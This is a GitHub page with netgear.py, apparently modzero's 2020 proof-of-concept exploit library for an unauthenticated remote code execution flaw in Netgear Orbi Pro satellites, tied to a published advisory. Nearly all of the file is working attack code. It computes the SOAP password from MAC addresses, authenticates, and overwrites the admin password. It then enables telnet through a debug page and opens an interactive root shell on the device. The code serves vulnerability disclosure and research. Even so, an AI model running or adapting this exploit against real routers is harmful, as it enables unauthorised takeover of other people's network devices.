This repository was archived by the owner on Apr 4, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnetgear.py
More file actions
513 lines (397 loc) · 17.1 KB
/
netgear.py
File metadata and controls
513 lines (397 loc) · 17.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
#!python3
# Copyright (c) 2020, modzero AG, Thorsten Schroeder <ths@modzero.ch>
# See the LICENSE file for details.
#
# Netgear Orbi Pro Satellite - unauthorized remote code execution
# -- Proof of Concept exploit --
# CVSS:3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N -> 8.1
#
# This file implements all SOAP and connection-relevant functionality for the NETGEAR Orbi Pro system exploits.
#
# See https://www.modzero.com/advisories/Netgear-Orbi-Pro-Security-MZ-20-02.txt for details and
# background. Find all tools and exploits at https://github.com/modzero/MZ-20-02-NETGEAR-Orbi-Security
#
# 2020/01/05 - found issues
# 2020/01/06 - finished first poc exploit
# 2020/01/15 - finished draft report/security advisory
#
import base64
import datetime
import hashlib
import random
import re
import sys
import telnetlib
import time
import xml.dom.minidom
import netifaces
import requests
import urllib3
from getmac import get_mac_address
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
demo_mode = False
class OrbiSoap:
def __init__(self, host=None, session=None):
self.sessionid = session
self.host = host
self.adminuser = "admin"
self.soapuser = "orbi"
self.url = "http://{}/soap/server_sa".format(host)
self.user_agent = "Mozilla/5.0 (Windows NT 5.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"
# --------------------------------------------------------
self.url = "http://{}/soap/server_sa".format(host)
self.username = "orbi"
def xml_get(self, xmldata, tag):
# print(xmldata)
doc = xml.dom.minidom.parseString(xmldata)
items = doc.getElementsByTagName(tag)
return items[0].childNodes[0].data
def get_interfaces(self):
iflist = list()
idx = 0
for i in netifaces.interfaces():
try:
ipaddr = netifaces.ifaddresses(i)[netifaces.AF_INET][0]['addr']
macaddr = netifaces.ifaddresses(i)[netifaces.AF_LINK][0]['addr']
if macaddr:
entry = {'idx': idx, 'if': i, 'ip': ipaddr, 'mac': macaddr}
iflist.append(entry)
idx += 1
except:
pass
return iflist
def generate_password(self):
local_mac = None
remote_mac = None
local_ifs = self.get_interfaces()
for _ in local_ifs:
if demo_mode:
print("[{0}] {1:16}: {2} ({3})".format(_['idx'], '.'.join(_['ip'].split('.')[0:2]) + ".XXX.XXX", _['mac'][0:9] + "XX:XX:XX", _['if']))
else:
print("[{0}] {1:16}: {2} ({3})".format(_['idx'], _['ip'], _['mac'], _['if']))
sel = input("[+] Select Interface: ")
try:
sel = int(sel.strip(' '))
except Exception as e:
print("[e] Error reading index: {}".format(e))
sys.exit(1)
for i in local_ifs:
if sel == i['idx']:
local_mac = i['mac']
if demo_mode:
print("[*] Query Orbi Satellite at {0} via local interface {1}".format(self.host, local_mac[0:9] + "XX:XX:XX"))
else:
print("[*] Query Orbi Satellite at {0} via local interface {1}".format(self.host, local_mac))
remote_mac = get_mac_address(ip=self.host, network_request=True)
if not remote_mac:
print("[!] Error. Unable to obtain mac address for target host {}".format(self.host))
sys.exit(1)
pw = None
lm = local_mac.split(':')
rm = remote_mac.split(':')
lm = lm[3:6]
rm = rm[3:6]
pw = "NETGEAR_Orbi_{}_{}_password".format('_'.join(lm).upper(), '_'.join(rm).upper())
# print("[D] using password: {}".format(pw))
md = hashlib.md5()
md.update(str.encode(pw))
return md.hexdigest()
def set_adminuser(self, user):
self.adminuser = user
def generate_sessionid(self):
random.seed(time.time())
sid = ''.join(random.choices(list("0123456789ABCDEF"), k=20))
return sid
def authenticate(self):
if self.sessionid:
return self.sessionid
self.sessionid = self.generate_sessionid()
# print("[D] new session id for host {}: {}".format(self.host, self.sessionid))
password = self.generate_password()
# print("[D] generated password for orbi system {}: {}".format(self.host, password))
soap_urn = "urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate"
xml_req = """<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header>
<SessionID>
{0}
</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<n0:Authenticate xmlns:n0="urn:NETGEAR-ROUTER:service:ParentalControl:1">
<NewUsername>{1}</NewUsername>
<NewPassword>{2}</NewPassword>
<ModelType>8</ModelType>
</n0:Authenticate>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".format(self.sessionid, self.soapuser, password)
result = requests.post(self.url,
data=xml_req,
headers={
"User-Agent": self.user_agent,
"SOAPAction": soap_urn})
try:
rc = self.xml_get(result.text, "ResponseCode")
# print("[D] auth response code: {}".format(rc))
except Exception as e:
print("[e] [HTTP status {} ({})] get response code from SOAP result failed: {}"
.format(result.status_code, result.reason, e))
rc = "O_O"
pass
if rc == "000":
return self.sessionid
else:
return None
def configuration_started(self):
soap_urn = "urn:NETGEAR-ROUTER:service:DeviceConfig:1#ConfigurationStarted"
xml_req = """<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header>
<SessionID>
{0}
</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<n0:ConfigurationStarted xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
<NewSessionID>
{0}
</NewSessionID>
</n0:ConfigurationStarted>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".format(self.sessionid)
result = requests.post(self.url,
data=xml_req,
headers={
"User-Agent": self.user_agent,
"SOAPAction": soap_urn})
try:
rc = self.xml_get(result.text, "ResponseCode")
except Exception as e:
print("[e] [HTTP status {} ({})] get response code from SOAP result failed: {}"
.format(result.status_code, result.reason, e))
rc = "O_O"
pass
if rc == "000":
return True
return False
def update_admin_password(self, password=None):
soap_urn = "urn:NETGEAR-ROUTER:service:DeviceConfig:1#UpdateAdminPassword"
xml_req = """<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header>
<SessionID>
{0}
</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<n0:UpdateAdminPassword xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
<NewUsername>{1}</NewUsername>
<NewPassword>{2}</NewPassword>
</n0:UpdateAdminPassword>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".format(self.sessionid, self.adminuser, password)
result = requests.post(self.url,
data=xml_req,
headers={
"User-Agent": self.user_agent,
"SOAPAction": soap_urn})
try:
rc = self.xml_get(result.text, "ResponseCode")
except Exception as e:
print("[e] [HTTP status {} ({})] get response code from SOAP result failed: {}"
.format(result.status_code, result.reason, e))
rc = "O_O"
pass
if rc == "000":
return True
return False
def set_configuration_timestamp(self):
soap_urn = "urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetConfigurationTimestamp"
xml_req = """<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header>
<SessionID>
{0}
</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<n0:SetConfigurationTimestamp xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
<NewTimestamp>{1}</NewTimestamp>
</n0:SetConfigurationTimestamp>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".format(self.sessionid, int(time.mktime(datetime.datetime.today().timetuple())))
result = requests.post(self.url,
data=xml_req,
headers={
"User-Agent": self.user_agent,
"SOAPAction": soap_urn})
try:
rc = self.xml_get(result.text, "ResponseCode")
except Exception as e:
print("[e] [HTTP status {} ({})] get response code from SOAP result failed: {}"
.format(result.status_code, result.reason, e))
rc = "O_O"
pass
if rc == "000":
return True
return False
def configuration_finished(self):
soap_urn = "urn:NETGEAR-ROUTER:service:DeviceConfig:1#ConfigurationFinished"
xml_req = """<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header>
<SessionID>
{0}
</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<n0:ConfigurationFinished
xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceConfig:1">
<NewStatus>
ChangesApplied
</NewStatus>
</n0:ConfigurationFinished>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".format(self.sessionid)
result = requests.post(self.url,
data=xml_req,
headers={
"User-Agent": self.user_agent,
"SOAPAction": soap_urn})
try:
rc = self.xml_get(result.text, "ResponseCode")
except Exception as e:
print("[e] [HTTP status {} ({})] get response code from SOAP result failed: {}"
.format(result.status_code, result.reason, e))
rc = "O_O"
pass
if rc == "000":
return True
return False
def generic_soap_request(self, service, method):
soap_urn = "urn:NETGEAR-ROUTER:service:{0}:1#{1}".format(service, method)
xml_req = """<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Header>
<SessionID>
{0}
</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<n0:{2} xmlns:n0="urn:NETGEAR-ROUTER:service:{1}:1">
</n0:{2}>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
""".format(self.sessionid, service, method)
result = requests.post(self.url,
data=xml_req,
headers={
"User-Agent": self.user_agent,
"SOAPAction": soap_urn})
try:
rc = self.xml_get(result.text, "ResponseCode")
except Exception as e:
print("[e] [HTTP status {} ({})] get response code from SOAP result failed: {}"
.format(result.status_code, result.reason, e))
rc = "O_O"
pass
return result.text
class OrbiTelnet:
def __init__(self, host=None, login="admin", password=None):
self.username = login
self.password = password
self.host = host
self._telnet = None
self.url = "https://{}/apply.cgi?/debug_detail.htm%20timestamp=666".format(host)
self.basic_auth = "Basic {}".format(base64.b64encode("{}:{}"
.format(self.username, self.password)
.encode())
.decode(encoding="ascii"))
def _get_ts(self):
data = requests.get("https://{}/debug_detail.htm".format(self.host),
headers={"Authorization": self.basic_auth},
verify=False)
if data.status_code != 200:
print("[e] Error getting session/timestamp from satellite: {} ({})!".format(data.status_code, data.reason))
return False
try:
p = 'var ts="([^"]*)";'
self.timestamp = re.findall(p, data.text)[0]
print("[-] new session/timestamp: {}".format(self.timestamp))
self.url = "https://{}/apply.cgi?/debug_detail.htm%20timestamp={}".format(self.host, self.timestamp)
except Exception as e:
print("[e] unable to get new session/timestamp value: {}".format(e))
return False
return True
def start(self):
if not self._get_ts():
return False
# start telnet
data = requests.post(self.url,
data="submit_flag=debug_info&hid_telnet=1&enable_telnet=on",
headers={
"Authorization": self.basic_auth,
"Referer": "https://{}/debug_detail.htm".format(self.host)},
verify=False)
if data.status_code == 200:
print("[-] Success!".format(data.status_code, data.reason))
else:
print("[e] Error starting telnet service: {} ({})!".format(data.status_code, data.reason))
return False
return True
def stop(self):
if not self._get_ts():
return False
# stop telnet
data = requests.post(self.url,
data="submit_flag=debug_info&hid_telnet=0",
headers={
"Authorization": self.basic_auth,
"Referer": "https://{}/debug_detail.htm".format(self.host)},
# proxies={"https": "http://127.0.0.1:8080", "http": "http://127.0.0.1:8080"},
verify=False)
if data.status_code == 200:
print("[e] Error stopping telnet service: {} ({})!".format(data.status_code, data.reason))
return False
return True
def restart(self):
self.stop()
time.sleep(1)
self.start()
def login(self):
# login to telnet
self._telnet = telnetlib.Telnet(self.host, 23, 15)
self._telnet.set_debuglevel(0)
x = self._telnet.read_until(b"login: ")
self._telnet.write(self.username.encode("ascii") + b"\n")
x = self._telnet.read_until(b"Password: ")
self._telnet.write(self.password.encode("ascii") + b"\n\n")
x = self._telnet.read_until(b"root@SRS60:/#")
def exec(self, cmd):
# execute cmd
x = self._telnet.read_until(b"root@SRS60:/#", 1)
self._telnet.write("{}\n".format(cmd).encode())
x = self._telnet.read_until(b"root@SRS60:/#")
return x.decode("ascii")
def close(self):
self._telnet.close()
def interactive(self):
# interactive shell
print("\n ─────\n R U N\n C M D\n ─────")
try:
self._telnet.mt_interact()
x = self._telnet.read_all()
self._telnet.close()
except Exception as e:
print("[e] telnet interactive exception: {}".format(e))
pass